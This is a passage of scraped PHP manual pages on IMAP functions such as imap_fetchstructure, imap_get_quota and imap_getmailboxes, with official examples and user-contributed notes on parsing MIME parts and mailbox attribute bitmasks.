                  $attachments[$an]->part = $id;
                    $attachments[$an]->filename = $fname;
                   $attachments[$an]->type=$part->type;
                   $attachments[$an]->subtype=$part->subtype;
                   $attachments[$an]->dispos=$dispos;
                   $attachments[$an]->size=$part->bytes;
                  doDebug("Filename=".$attachments[$an]->filename); break;
         }

      for($x = 0; $x < count($part->parts); $x++){
         Check_Part($part->parts[$x], $id.".".($x+1));
      }
      doDebug("Dit deel had iets nuttigs.");
      if($part->ifdisposition) $dispos--;
      $debug_depth--;
      doDebug("-End of part $id");
   }

   function decode_mail($mbox, $msg){
      global $attachments, $debug, $debug_depth;
      doDebug("+Decoding message $msg"); $debug_depth++;
      $obj = imap_fetchstructure($mbox, $msg, FT_UID); $moet_werken=true; $id=1;
      while($moet_werken){
         Check_Part($obj, $id);

         $moet_werken=false;
      }
      $debug_depth--; doDebug("-End of message $msg");
   }

Now to get this to work..
Decode_Mail([Mailbox connection], [Message Number]);

this is the outpu attachment array..
1--1.1.1--Onbekend--0--PLAIN--0--31
2--1.1.2--Onbekend--0--HTML--0--29
3--1.2--Beschrijving Nieuw E.doc--3--MSWORD--1--613718
--------------------------------------

PS.. "Onbekend" is dutch for "Unknown".

Good luck.
Paradise (www.ml75.nl)
theUNDERSCOREVoodooChileADGMXdotNET 25-Oct-2002 05:21
you can easily see through everything with these functions:

function printarray($array){
  while(list($key,$value) = each($array)){
    if(is_array($value)){
      echo $key."(array):<blockquote>";
      printarray($value);//recursief!!
      echo "</blockquote>";
    }elseif(is_object($value)){
      echo $key."(object):<blockquote>";
      printobject($value);
      echo "</blockquote>";
    }else{
      echo $key."==>".$value."<br />";
    }
  }
}

function printobject($obj){
  $array = get_object_vars($obj);
  printarray($array);
}

end then do this:

  $struct = imap_fetchstructure($box,$mailnr);
  //$struct is een object!!
  drukobjectaf($struct);

you get an extended tree-view into the hierarchie of objects and arrays
Comparing different mails(changing thenumber) may bring more clarity into this matter

(these functions may not work properly as they are translated from my dutch original, but they ought to be OK)
jcastro at elnuevodia dot com 20-Sep-2002 01:16
I think the above note about attachments is wrong. I tested sending files with and without attachments and I get the following<br>
with attachment: type=3 bytes=343648
no attachment: type=0 bytes=2
so checking for $struct->bytes == " " means nothing. At least in my test
running windows 2000, php4.2.1 using outlook and exchange. It seems that cheking the type will be more reliable
19-Sep-2002 03:20
This function sets MIME charset
parameter value to US-ASCII when
either Content-Type header is missing
or Content-Type header doesn't have
charset parameter. This may be compliant
to RFC 822, but this poses
a problem for  a calling function that
has to deal with untagged messages
in MIME charset other than US-ASCII.
To work around this,  US-ASCII
has to be treated as the absence of MIME charset.
kmakaveev(at)yahoo(dot)com 25-Jun-2002 07:29
There's a little mistake in the code above!
The second echo must return "The message has no attachment!".
And that code must have some some additional  thing to work properly! Maybe I must use ->parts to determine how many parts has a particular message!
kmakaveev(at)yahoo(dot)com 24-Jun-2002 11:54
There's a simple way to check weither a particular mail message has an attachment or not. I'm not sure that it is 100% true but here it is a sample code:
<?
$msg_structure = imap_fetchstructure($mail_inbox, $msg_id);
if($msg_structure->bytes == "")
{
echo "The message has attachment!";
}
else
{
echo "The message has attachment!";
}
?>
Please, test this code and let me know is it working properly or not! Thanks in advance!
elcarlos at skaainet dot be 22-Jun-2002 03:11
Somebody must include some good examples of how to decode a message with and without an attachement.

I'm writing a web based email, and it wasn't verry easy for me to understand that part.
After a week of searching I still don't get it very well, but now (I think and hope) I'm able to write it...

Yet I'm not that good with it, so I'm not able to put an example in it myself...

Regards,
El_Carlos
trionon at mail dot ru 22-Feb-2002 08:42
It's better to use special constants instead of digits for primary content-type:

        TYPETEXT                unformatted text
        TYPEMULTIPART           multiple part
        TYPEMESSAGE             encapsulated message
        TYPEAPPLICATION         application data
        TYPEAUDIO               audio
        TYPEIMAGE               static image (GIF, JPEG, etc.)
        TYPEVIDEO               video
        TYPEOTHER               unknown

These constants are documented in the source code of IMAP extension but they are still undocumented here :(
php AT firstnetimpressions.com 18-Feb-2002 01:15
Point of clarification:

The seventh primary body type is not "Other" as documented, but actually "Model".  This encompasses IGES, VRML, MESH, DWF, etc.

http://www.isi.edu/in-notes/iana/assignments/media-types/media-types

"Other" is the eigth primary body type.
mkknapp at quadrapod dot com 25-Apr-2001 06:48
Assuming $struct = imap_fetchstructure($x,$y);

It is important to note that if a message has NO attachements, $struct->parts is an empty array, and $struct->bytes has a value.  If a message as ANY attachements, $struct->bytes ALWAYS = 0. To get the size of the primary body, you have to call structure->part[0]->bytes.  To get the size of the whole message, either strlen(imap_body) or add up the ->bytes of all the parts.

Another interesting note:
When there is body text and no attachements:
count($struct->parts) = 0
When there is body text and 1 attachement:
count($struct->parts) = 2

These imap functions could really use better documentation. Like giving the meathods for the dparameter and parameter classes...
jbrandt at europa dot com 16-Apr-2001 03:45
Parsing the recursive object returned from imap_fetchstructure is easy. However trying to figure out the name of the section to pass to imap_fetchbody() isn't quite so straight forward because the naming conventions for the MIME sections are odd. If you copy and paste the following function you can pass an UID of an IMAP message and it will print out a hierarchy of the message and label each section.

The only required parameters are $mbox and $em_uid. The other parameters are used when the function needs to call itself.

Two functions mime_encoding() and mime_type() are not included. All they do is return string for the integer represention of a mime type/encoding.

<?php
function imap_dbody($mbox, $em_uid, $mimeobj, $depth = 0, $section = 0)
{
        // If this is the first run of the function then grab a object of the MIME structure of the message

        if($section == 0) $mimeobj = imap_fetchstructure($mbox, $em_uid, FT_UID);

        for($y = 0; $y < $depth; $y++) echo("       ");

        echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
        echo(mime_encoding($mimeobj->encoding) . " (<B>$section</B>)<BR>");

        for($x = 0; $x < count($mimeobj->parts); $x++)
        {
                // If we are in the root of the object increment by whole integers

                if($section == 0) $nsection = $x + 1;

                // If we are in the object and the first sub-object of our object isn't multipart
                // then increment the postfix by ".1" otherwise we are multipart or a message
                // and leave the section id alone to be handled by the next code block

                else if(($pos = strrpos($section, ".")) && $mimeobj->parts[0]->type != TYPEMULTIPART)
                        $nsection = substr($section, 0, $pos) . "." . ($x + 1);
                else
                        $nsection = $section;

                // If there are more parts to the part about to be processed reference it as a header with ".0"
                // but only if the child of this child isn't MULTIPART

                if(count($mimeobj->parts[$x]->parts))
                {
                        // Funny really, if a mime section is a inline message that has a multipart body you reference the message
                        // mime section with "2" the inline message header with "2.0" and the subsections with "2.x"
                        // However if the mime section is a inline message with only 1 part then you reference the
                        // mime section in the message with 2.0 and the inline message body with 2.1

                        if(!($mimeobj->parts[$x]->type == TYPEMESSAGE && $mimeobj->parts[$x]->parts[0]->type == TYPEMULTIPART))
                                $nsection .= ".0";
                        else
                                $nsection .= "";
                }

                imap_dbody($mbox, $em_uid, $mimeobj->parts[$x], $depth + 1, $nsection);

        }

        // If after processing the entire MIME object the $x variable is still zero then we didn't
        // process a multipart mime message, it's just normal email so say so here.

        if($x == 0 && $section == 0)
        {
                echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
                echo(mime_encoding($mimeobj->encoding) . " (<B>1</B>) (<B>NOT MIME MULTIPART</B>)<BR>");
        }
}
?>
vksgeneric at hotmail dot com 02-Feb-2000 05:22
It looks like some clients (e.g. outlook) can attach a file that has two mime-types associated with it, like:

Content-Type: model/vrml,x-world/x-vrml

This bombs the parsing procedure somewhere in c-client, I guess, and as a result ifparameters is set to false for the respective part, and you can not retrieve filename, mimetype, or any other parameters.
hholzgra at media-engineering dot de 15-Dec-1999 01:59
the parts objects are identical in
structure to those returned by imap_fetchstructure, describing one subfolder each

parameters and dparameters are MIME-specific, theese contain the
extra parameters provided in the Content-Type and Content-Disposion Header lines such as Charset or Filename
imap_fetchmime
imap_fetchtext
IMAP Functions


Alias of imap_body

imap_fetchstructure
imap_gc
IMAP Functions
PHP Manual

imap_fetchtext

(PHP 4, PHP 5)

imap_fetchtext — Alias of imap_body()

Description

This function is an alias of: imap_body().

User Contributed Notes

There are no user contributed notes for this page.
imap_fetchstructure
imap_gc
IMAP Functions


Clears IMAP cache

imap_fetchtext
imap_get_quota
IMAP Functions
PHP Manual

imap_gc

(PHP 5 >= 5.3.0)

imap_gc — Clears IMAP cache

Description

bool imap_gc ( resource $imap_stream , int $caches )

Purges the cache of entries of a specific type.

Parameters

imap_stream

An IMAP stream returned by imap_open().

caches

Specifies the cache to purge. It may one or a combination of the following constants: IMAP_GC_ELT (message cache elements), IMAP_GC_ENV (enveloppe and bodies), IMAP_GC_TEXTS (texts).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_gc() example

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password");

imap_gc($mbox, IMAP_GC_ELT);

?>

User Contributed Notes

Anonymous 23-Jul-2009 12:47
If you notice that you're program's memory usage is increasing (as observed using ps) while calling the imap functions, calling this function should free that memory.
imap_fetchtext
imap_get_quota
IMAP Functions


Retrieve the quota level settings, and usage statics per mailbox

imap_gc
imap_get_quotaroot
IMAP Functions
PHP Manual

imap_get_quota

(PHP 4 >= 4.0.5, PHP 5)

imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox

Description

array imap_get_quota ( resource $imap_stream , string $quota_root )

Retrieve the quota level settings, and usage statics per mailbox.

For a non-admin user version of this function, please see the imap_get_quotaroot() function of PHP.

Parameters

imap_stream

An IMAP stream returned by imap_open().

quota_root

quota_root should normally be in the form of user.name where name is the mailbox you wish to retrieve information about.

Return Values

Returns an array with integer values limit and usage for the given mailbox. The value of limit represents the total amount of space allowed for this mailbox. The usage value represents the mailboxes current level of capacity. Will return FALSE in the case of failure.

As of PHP 4.3, the function more properly reflects the functionality as dictated by the » RFC2087. The array return value has changed to support an unlimited number of returned resources (i.e. messages, or sub-folders) with each named resource receiving an individual array key. Each key value then contains an another array with the usage and limit values within it.

For backwards compatibility reasons, the original access methods are still available for use, although it is suggested to update.

Examples

Example #1 imap_get_quota() example

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota_value = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_value)) {
    echo "Usage level is: " . $quota_value['usage'];
    echo "Limit level is: " . $quota_value['limit'];
}

imap_close($mbox);
?>

Example #2 imap_get_quota() 4.3 or greater example

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota_values = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_values)) {
   $storage = $quota_values['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota_values['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE limit is: " .  $message['limit'];

   /* ...  */
}

imap_close($mbox);
?>

Notes

This function is currently only available to users of the c-client2000 or greater library.

The given imap_stream must be opened as the mail administrator, otherwise this function will fail.

See Also

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_set_quota() - Sets a quota for a given mailbox
  • imap_get_quotaroot() - Retrieve the quota settings per user

User Contributed Notes

Anti Veeranna 01-Mar-2007 11:26
If you're using this (or probably any other imap functions) and getting "Notice: Unknown: Quota root does not exist (errflg=2) in Unknown on line 0" errors after the script finishes, then call imap_errors() function before you close the imap stream - this will clear the error stack and you don't get those annoying notices.

Took me a while to figure it out.
Shiraz Esat 20-Dec-2004 09:40
For this function to work your IMAP server must also have the 'getquota' capability!

Check this by logging in directly:
telnet <mail server> <port>

e.g. telnet mail.myserver.com 143

and then once you're connected to the server
0 CAPABILITY
dc at aufruhr dot com 18-Jul-2003 04:26
ok, this error just occurs if there are no quotas on your mailbox.

same with imap_get_quotaroot().
imap_gc
imap_get_quotaroot
IMAP Functions


Retrieve the quota settings per user

imap_get_quota
imap_getacl
IMAP Functions
PHP Manual

imap_get_quotaroot

(PHP 4 >= 4.3.0, PHP 5)

imap_get_quotaroot — Retrieve the quota settings per user

Description

array imap_get_quotaroot ( resource $imap_stream , string $quota_root )

Retrieve the quota settings per user. The limit value represents the total amount of space allowed for this user's total mailbox usage. The usage value represents the user's current total mailbox capacity.

Parameters

imap_stream

An IMAP stream returned by imap_open().

quota_root

quota_root should normally be in the form of which mailbox (i.e. INBOX).

Return Values

Returns an array of integer values pertaining to the specified user mailbox. All values contain a key based upon the resource name, and a corresponding array with the usage and limit values within.

This function will return FALSE in the case of call failure, and an array of information about the connection upon an un-parsable response from the server.

Examples

Example #1 imap_get_quotaroot() example

<?php
$mbox = imap_open("{imap.example.org}", "kalowsky", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota_values['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota_values['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE limit level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>

Notes

This function is currently only available to users of the c-client2000 or greater library.

The imap_stream should be opened as the user whose mailbox you wish to check.

See Also

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_set_quota() - Sets a quota for a given mailbox
  • imap_get_quota() - Retrieve the quota level settings, and usage statics per mailbox

User Contributed Notes

uphonesimon at gmail dot com 21-Sep-2005 04:37
just to make a note for all the people that are wondering the differences between $quota['STORAGE'] and $quot['MESSAGE']
the $quot['STORAGE'] is the size of the mailbox in KB
but $quota['MESSAGE'] is actually the number of messages stored in the mailbox and the up limit of the total messages allowed
rodrigo dot tsuru at tsuru dot net 15-Sep-2004 11:07
The example above isn't right. Replace with this:

<?php
$mbox = imap_open("{your.imap.host}", "kalowsky", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE usage level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>
thomas dot hebinck at digionline dot de 30-Aug-2003 07:55
['STORAGE']['usage'] and ['STORAGE']['limit'] are values in KB (1024 Bytes)
imap_get_quota
imap_getacl
IMAP Functions


Gets the ACL for a given mailbox

imap_get_quotaroot
imap_getmailboxes
IMAP Functions
PHP Manual

imap_getacl

(PHP 5)

imap_getacl — Gets the ACL for a given mailbox

Description

array imap_getacl ( resource $imap_stream , string $mailbox )

Gets the ACL for a given mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns an associative array of "folder" => "acl" pairs.

Examples

Example #1 imap_getacl() example

<?php

print_r(imap_getacl($conn_id, 'user.joecool'));

?>

The above example will output something similar to:

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)

Notes

This function is currently only available to users of the c-client2000 or greater library.

See Also

  • imap_setacl() - Sets the ACL for a giving mailbox

User Contributed Notes

info at obengelb dot de 13-Sep-2006 04:58
stream_id is the stream returned from imap_open

mailbox is a mailbox name (without server name)

Example:
print_r(imap_getacl ($strea_id, 'user.joecool'));

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)
imap_get_quotaroot
imap_getmailboxes
IMAP Functions


Read the list of mailboxes, returning detailed information on each one

imap_getacl
imap_getsubscribed
IMAP Functions
PHP Manual

imap_getmailboxes

(PHP 4, PHP 5)

imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one

Description

array imap_getmailboxes ( resource $imap_stream , string $ref , string $pattern )

Gets information on the mailboxes.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against:

  • LATT_NOINFERIORS - This mailbox contains, and may not contain any "children" (there are no mailboxes below this one). Calling imap_createmailbox() will not work on this mailbox.

  • LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it.

  • LATT_MARKED - This mailbox is marked. This means that it may contain new messages since the last time it was checked. Not provided by all IMAP servers.

  • LATT_UNMARKED - This mailbox is not marked, does not contain new messages. If either MARKED or UNMARKED is provided, you can assume the IMAP server supports this feature for this mailbox.

Examples

Example #1 imap_getmailboxes() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$list = imap_getmailboxes($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
    foreach ($list as $key => $val) {
        echo "($key) ";
        echo imap_utf7_decode($val->name) . ",";
        echo "'" . $val->delimiter . "',";
        echo $val->attributes . "<br />\n";
    }
} else {
    echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

See Also

  • imap_getsubscribed() - List all the subscribed mailboxes

User Contributed Notes

james dot mattingly at gmail dot com 18-Jul-2011 12:19
For the purposes of passing along the attributes as a json array, I wanted to pass the attributes as an indexed array to save on bandwidth and session storage.  The human readable translation is then performed in javascript by relating each key to the proper attribute label.  I also wanted a cleaner way of converting the attributes without calling another function or using a complex iteration. This puts each binary attribute into it's own array element for easy testing.

<?php
$mailboxes = imap_getmailboxes($mailbox, $username, $password);

foreach($mailboxes as $key=>$mailbox){
   ...
   $attrs =  preg_split('//',str_pad(decbin($mailbox->attributes),7,"0",STR_PAD_LEFT),8);  // convert decimal to an array of attributes
   array_shift($attrs); // Remove the extra element at the front of the array in position 0
   ...
}
?>

With temporary variables, the conversion would look like this.

<?php
$attr_binary = decbin($mailbox->attributes);  // convert decimal to binary
$attr_binary = str_pad($attr_binary,7,"0",STR_PAD_LEFT);  // pad with 0's on the left
$attrs = $preg_split('//',$attr_binary,8);  // split into an array after each character
array_shift($attrs);  // Remove the extra element at the front of the array in position 0
?>

By defining the attributes as a map to the array index, you can test as follows.

<?php
define("ATTR_NOINFERIORS",6);
define("ATTR_NOSELECT "5);
define("ATTR_MARKED ",4);
define("ATTR_UNMARKED ",3);
define("ATTR_REFERRAL ",2);
define("ATTR_HASCHILDREN ",1);
define("ATTR_HASNOCHILDREN ",0);

if ($attrs[ATTR_HASCHILDREN]){
 // do something
}
?>
razonklnbd at hotmail dot com 06-Jan-2008 12:49
i think it will save someones time to get mailbox list and their attributes within a formatted array

<?php
/********** Function ******************/
function getAttributesFlagArray($p_attributes){
    $attrs[LATT_HASNOCHILDREN]='false';
    $attrs[LATT_HASCHILDREN]='false';
    $attrs[LATT_REFERRAL]='false';
    $attrs[LATT_UNMARKED]='false';
    $attrs[LATT_MARKED]='false';
    $attrs[LATT_NOSELECT]='false';
    $attrs[LATT_NOINFERIORS]='false';
    $attrsX=$attrs;
    foreach($attrs as $attrkey=>$attrval){
        if ($p_attributes & $attrkey){
            $attrsX[$attrkey]='true';
            $p_attributes-=$attrkey;
        }
    }
    return $attrsX;
}

/*********** Usages *****************/
    $mboxconnstr='{imap.gmail.com:993/imap/ssl}';
//    $mboxconnstr='{mail.bdways.com:143/imap/novalidate-cert}';
    $mbox = imap_open($mboxconnstr, $username, $password, OP_HALFOPEN) or die("can't connect: " . imap_last_error());

    echo "<h1>Mailboxes</h1>\n";
    $folders = imap_getmailboxes($mbox, $mboxconnstr, "*");
    if(is_array($folders)){
        foreach($folders as $fkey=>$folder){
            $mapname = str_replace($mboxconnstr, "", imap_utf7_decode($folder->name));
            if($mapname[0] != ".") {
                //$attrs[LATT_]=': NO';
                $list_folders[$fkey]['name'] = $folder->name;
                $list_folders[$fkey]['nameX'] = $mapname;
                $list_folders[$fkey]['delimiter'] = $folder->delimiter;
                $list_folders[$fkey]['attributes'] = $folder->attributes;
                $list_folders[$fkey]['attr_values'] = getAttributesFlagArray($folder->attributes);
            }
        }
    }else echo "Call failed<br />\n";
    echo('<pre>'); print_r($list_folders); echo('</pre>');
?>

thanks to Mohamed Abbas mabbas_xyz at yahoo dot com for his attributes findings using imap...
Mohamed Abbas mabbas_xyz at yahoo dot com 18-Nov-2006 08:51
i am currently develop a simple IMAP client, when i call imap_getmailboxes() i receive a different values in attributes property of the mailbox object the problem is how can i manipulate these attributes to get a meaningful value,
if you make a hard search to find a solution for this, you will
not find any useful documents for this problem, let us take a closer look for this problem.

when i call imap_getmailboxes() against different IMAP servers i got these attribute values

[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

the documentation tell us that we check this attributes against four constants, these contents are

LATT_NOINFERIORS
LATT_NOSELECT
LATT_MARKED
LATT_UNMARKED

the value of these constants are

LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8

you can got this result by echo each constant, unfortunately the documentation not explain how we can check the attributes against the constants, after a long time of searching i find the answer in source code of c-client
(you can get the source from ftp://ftp.cac.washington.edu/imap/)
under \src\c-client you will find mail.h open it and you will find this

                               /* terminal node in hierarchy */
#define LATT_NOINFERIORS (long) 0x1
                /* name can not be selected */
#define LATT_NOSELECT (long) 0x2
                /* changed since last accessed */
#define LATT_MARKED (long) 0x4
                /* accessed since last changed */
#define LATT_UNMARKED (long) 0x8
                /* name has referral to remote mailbox */
#define LATT_REFERRAL (long) 0x10
                /* has selectable inferiors */
#define LATT_HASCHILDREN (long) 0x20
                /* has no selectable inferiors */
#define LATT_HASNOCHILDREN (long) 0x40

as you notice here these are our four constants and three additional constants

LATT_REFERRAL
LATT_HASCHILDREN
LATT_HASNOCHILDREN

then what is the value of these 3 attributes
LATT_REFERRAL 0x10 = 00010000 in binary, the bitmask value is 2^4 = 16 and so on, or simply echo this constant to get the value, then

LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

finally the full list of constants will be
LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8
LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

ok let's back to our attributes
[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

[attributes] => 9 this mean it's LATT_UNMARKED and LATT_NOINFERIORS 1+8 =9

[attributes] => 1 this mean LATT_NOINFERIORS

[attributes] => 64 this mean LATT_HASNOCHILDREN

[attributes] => 32 this mean LATT_HASCHILDREN

[attributes] => 40 this mean LATT_HASCHILDREN and LATT_UNMARKED 32+8=40

this just like linux file permission 7 mean read, write, and execute 4+2+1 read=4 write=2 execute=1

that is what i found, i hope this can help

Mohamed Abbas
Nileweb Egypt
emielbom at hotmail dot com 04-Feb-2006 07:09
i was looking for a function to test the attributes.
and it was hard to find an answer or code.

Maybe there is a function availeble, but i couldn't find it.

the first function: returns all mailboxes in on the server

The second function: returns a bitstring from the attr_number returned by getmailboxes()

The tirth function: returns an array with the active attributes on the specific mailbox

Last Line: is a combination of the functions: the output is, any map witch can hold no mail but only sub boxes...

<?php
function getFolders($mailbox, $serverString) {

    $list = imap_getmailboxes($mailbox, $serverString, "*");
    if (is_array($list)) {
        foreach ($list as $key => $val) {
           $mapname = str_replace($serverString, "", imap_utf7_decode($val->name));
           if ($mapname[0] != ".") {
               $list_folders[$key]['name'] = $mapname;
               $list_folders[$key]['delimiter'] = $val->delimiter;
               $list_folders[$key]['attributes'] = $val->attributes;
           }

        }
    } else {
        echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
    }

    return $list_folders;
}

function IntToBin($number) {
    $BitWaarde = 1;
    $IntNum = $number;
    $BinString = "";

    if ($IntNum > 0) {

        // bepaal de max bitwaarde aan de hand van $IntNum
        while ($IntNum > $BitWaarde) {
            $BitWaarde = $BitWaarde * 2;
        }

        // maken van een binaire string.
        while ($BitWaarde >= 1 ) {
            if ($IntNum < $BitWaarde) {
                if ($BinString != "") $BinString .= "0";
            } else {
                $BinString .= "1";
                $IntNum = $IntNum-$BitWaarde;
            }
            $BitWaarde = $BitWaarde / 2;
        }

    }

    return $BinString;
}

function Attributes($BinString) {

    $BinInt = (int)$BinString;
    if ($BinInt >=1000){
        $setAttribute['LATT_UNMARKED'] = true;
        $BinInt = $BinInt-1000;
    } else $setAttribute['LATT_UNMARKED'] = false;

    if ($BinInt >=100){
        $setAttribute['LATT_MARKED'] = true;
        $BinInt = $BinInt-100;
    } else $setAttribute['LATT_MARKED'] = false;

    if ($BinInt >=10){
        $setAttribute['LATT_NOSELECT'] = true;
        $BinInt = $BinInt-10;
    } else $setAttribute['LATT_NOSELECT'] = false;

    if ($BinInt >=1){
        $setAttribute['LATT_NOINFERIORS'] = true;
        $BinInt = $BinInt-1;
    } else $setAttribute['LATT_NOINFERIORS'] = false;

    return $setAttribute;
}

foreach (getFolders($mailbox, $config['Server_string']) as $key => $val) {
                        $Attr = Attributes(IntToBin((int)$val['attributes']));
                        if (!$Attr['LATT_NOINFERIORS']) {
                            echo "<option value='".$val['name']."'>".$val['name']."</option>";
                        }
                    }
?>
ad-rotator.com 04-May-2004 01:17
In case you print_r() or var_dump() the object and see an int for attribute, these are the constant integers for the bitmask.

1 LATT_NOINFERIORS
2 LATT_NOSELECT
4 LATT_MARKED
8 LATT_UNMARKED
foom at fuhm dot NO_supercalifragilisticexpialidocious_SPAM dot net 27-Aug-2001 05:42
The list of mailbox attributes in this document is very misleading. In particular the explanation of noinferiors is just wrong. It does not mean that the mailbox currently has no children, it means that it *cannot* have children ever. Also, it is untrue that marked and unmarked are only used by UW-IMAP. They are in the official IMAP specification and are used by at least Courier-imap as well.

One thing to watch out for, however, is broken IMAP servers which do send \Noinferiors when they mean that there are currently no children.

From the IMAP4rev1 specs (RFC 2060):
      \Noinferiors

         It is not possible for any child levels of hierarchy to exist
         under this name; no child levels exist now and none can be
         created in the future.

      \Noselect

         It is not possible to use this name as a selectable mailbox.

      \Marked

         The mailbox has been marked "interesting" by the server; the
         mailbox probably contains messages that have been added since
         the last time the mailbox was selected.

      \Unmarked

         The mailbox does not contain any additional messages since the
         last time the mailbox was selected.
imap_getacl
imap_getsubscribed
IMAP Functions


List all the subscribed mailboxes

imap_getmailboxes
imap_header
IMAP Functions
PHP Manual

imap_getsubscribed

(PHP 4, PHP 5)

imap_getsubscribed — List all the subscribed mailboxes

Description

array imap_getsubscribed ( resource $imap_stream , string $ref , string $pattern )

Gets information about the subscribed mailboxes.

Identical to imap_getmailboxes(), except that it only returns mailboxes that the user is subscribed to.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against:

  • LATT_NOINFERIORS - This mailbox has no "children" (there are no mailboxes below this one).
  • LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it.
  • LATT_MARKED - This mailbox is marked. Only used by UW-IMAPD.
  • LATT_UNMARKED - This mailbox is not marked. Only used by UW-IMAPD.

User Contributed Notes

There are no user contributed notes for this page.
imap_getmailboxes
imap_header
IMAP Functions


Alias of imap_headerinfo

imap_getsubscribed
imap_headerinfo
IMAP Functions
PHP Manual

imap_header

(PHP 4, PHP 5)

imap_header — Alias of imap_headerinfo()

Description

This function is an alias of: imap_headerinfo().

User Contributed Notes

jose dot yapur at usmp dot pe 25-Dec-2009 01:28
Some example of how to use it:

<?php
    $imap = imap_open("{mail.example.com:143}INBOX", "username", "password");
    $message_count = imap_num_msg($imap);

    for ($i = 1; $i <= $message_count; ++$i) {
        $header = imap_header($imap, $i);
        $body = trim(substr(imap_body($imap, $i), 0, 100));
        $prettydate = date("jS F Y", $header->udate);

        if (isset($header->from[0]->personal)) {
            $personal = $header->from[0]->personal;
        } else {
            $personal = $header->from[0]->mailbox;
        }

        $email = "$personal <{$header->from[0]->mailbox}@{$header->from[0]->host}>";
        echo "On $prettydate, $email said \"$body\".\n";
    }

    imap_close($imap);
?>
Anang Syarifudin A 20-Feb-2008 09:15
My quick and dirty code to decode utf-8 subject :

function decode_utf8($str) {
   preg_match_all("/=\?UTF-8\?B\?([^\?]+)\?=/i",$str, $arr);

   for ($i=0;$i<count($arr[1]);$i++){
     $str=ereg_replace(ereg_replace("\?","\?",
              $arr[0][$i]),base64_decode($arr[1][$i]),$str);
   }
        return $str;
}

$subject = decode_utf8($header->subject);
stepotronic at nimbleminds dot net 05-Feb-2008 11:43
At jeremy at caramiel dot com:
You are wrong, since it will just work if the encoding of the characters is also used in the current context.
There is a reason why it comes with the charset :)

There are way better solutions with imap_mime_header_decode
jeremy at caramiel dot com 01-Feb-2008 06:37
Here is a clean way to decode encoded imap headers that will work in all cases :

function fix_text($str)
{
    $subject = '';
    $subject_array = imap_mime_header_decode($str);

    foreach ($subject_array AS $obj)
        $subject .= rtrim($obj->text, "\t");

    return $subject;
}
khigashi dot oang at gmail dot com 27-Feb-2007 04:19
